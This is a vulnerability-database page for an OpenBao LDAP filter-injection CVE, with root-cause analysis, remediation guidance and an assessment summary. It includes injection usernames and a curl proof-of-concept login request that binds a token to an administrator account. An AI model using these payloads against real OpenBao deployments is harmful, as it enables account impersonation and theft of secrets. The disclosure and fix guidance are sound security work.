OpenBao CVE-2026-55770
MEDIUMSeverity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Network-accessible endpoint requires a valid LDAP credential (PR:L) and a configured LDAP backend (AC:H); full impersonation impact on C and I with no availability consequence (A:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
1. Description
Component
sdk/helper/ldaputil/client.go - the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.
Root Cause
The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():
// Line 191 - UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)
// Line 193 - User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.
LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.
The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.
Exploitation Mechanics
Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op - no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
^^ injection pointThe filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:
sAMAccountName=aliceANDobjectClass=userANDobjectClass=*
Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.
Preconditions
- LDAP authentication backend must be configured
- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
- Attacker controls the
usernamefield at login time
2. Proof of Concept
# Login with LDAP injection payload as username
curl -k -X POST \
-H "Content-Type: application/json" \
-d '{
"username": "alice)(sAMAccountName=*",
"password": "anything"
}' \
https://localhost:8200/v1/auth/ldap/login/admin
# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
# injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policiesThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user - potentially an administrative account.
3. Impact
| Impact | Detail |
|---|---|
| Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |
| Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user |
| Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |
Likelihood: HIGH - the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.
Why This Is High Severity
The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.
4. Remediation
Primary Fix: Use ldap.EscapeFilter
Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:
import "github.com/go-ldap/ldap/v3"
// Line 191 - UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)
// Line 193 - User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.
Audit: All Call Sites
Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:
grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/Defense-in-Depth
- Apply the principle of least privilege to LDAP service accounts used by OpenBao
- Use
UserFilterwith explicit attribute constraints to limit the search scope
AnalysisAI
LDAP injection in OpenBao versions 0.1.0 through 2.5.4 allows an attacker with a valid low-privileged LDAP account to impersonate arbitrary directory users, including administrators, by supplying filter metacharacters in the username field at login. The root cause is a function selection error in sdk/helper/ldaputil/client.go: EscapeLDAPValue() (RFC 4514, DN escaping) is used in LDAP filter construction instead of ldap.EscapeFilter() (RFC 4515), leaving characters *, (, ), \, and NUL unescaped and injectable. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three conditions must all be true: (1) the LDAP authentication backend must be enabled and configured in OpenBao (non-default; the backend is one of several auth methods); (2) the attacker must possess valid LDAP credentials for at least one directory account to successfully complete the initial bind step (PR:L - a standard low-privileged account is sufficient, no admin credential required); (3) the directory must use either Active Directory UPN Domain binding (`UPNDomain` set) or standard `UserDN`/`UserAttr` binding - both code paths pass through the vulnerable `GetUserDN()` function. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 score of 6.8 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N) accurately reflects the risk profile: network-accessible attack surface (AV:N), but requiring both a configured LDAP auth backend and a valid low-privileged LDAP credential (driving AC:H and PR:L). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding a valid but low-privileged LDAP account (e.g., a standard employee account) sends a POST request to `/v1/auth/ldap/login/` with the username `alice)(|(sAMAccountName=admin` and their own legitimate password. The LDAP bind step succeeds using their real credentials, but the injected filter syntax causes OpenBao's directory search to return the admin user's entry rather than alice's. … |
| Remediation | Upgrade to OpenBao v2.5.5 or later, which incorporates the fix from commit `10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659` (PR #3306); the release is available at https://github.com/openbao/openbao/releases/tag/v2.5.5. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a
In Joomla!. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required,
An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated critical severity (CVSS 9.8), this vulnerabi
Mastodon is a free, open-source social network server based on ActivityPub Mastodon allows configuration of LDAP for aut
Dolibarr 11.0.3 contains a persistent cross-site scripting vulnerability in LDAP synchronization settings that allows at
A reflected cross-site scripting (xss) vulnerability exists in the ldapUser functionality of MedDream PACS Premium 7.3.6
Authentication bypass in Apache Druid versions 0.17.0 through 35.x. Affects all versions prior to 36.0.0 when specific p
Arbitrary certificate disclosure in Apache CXF's XKMS server lets remote attackers abuse an LDAP injection flaw (CWE-90)
An issue was discovered in linqi before 1.4.0.1 on Windows. Rated critical severity (CVSS 9.8), this vulnerability is re
A vulnerability, which was classified as problematic, has been found in Jahastech NxFilter 4.3.2.5.jsp?actionFlag=test&i
An unauthenticated Apache Traffic Control Traffic Ops user can send a request with a specially-crafted username to the P
Kanboard versions 1.2.48 and earlier contain an LDAP injection vulnerability where unsanitized user input in the LDAP au
Same weakness CWE-90 – LDAP Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-6mwx-4547-5vc9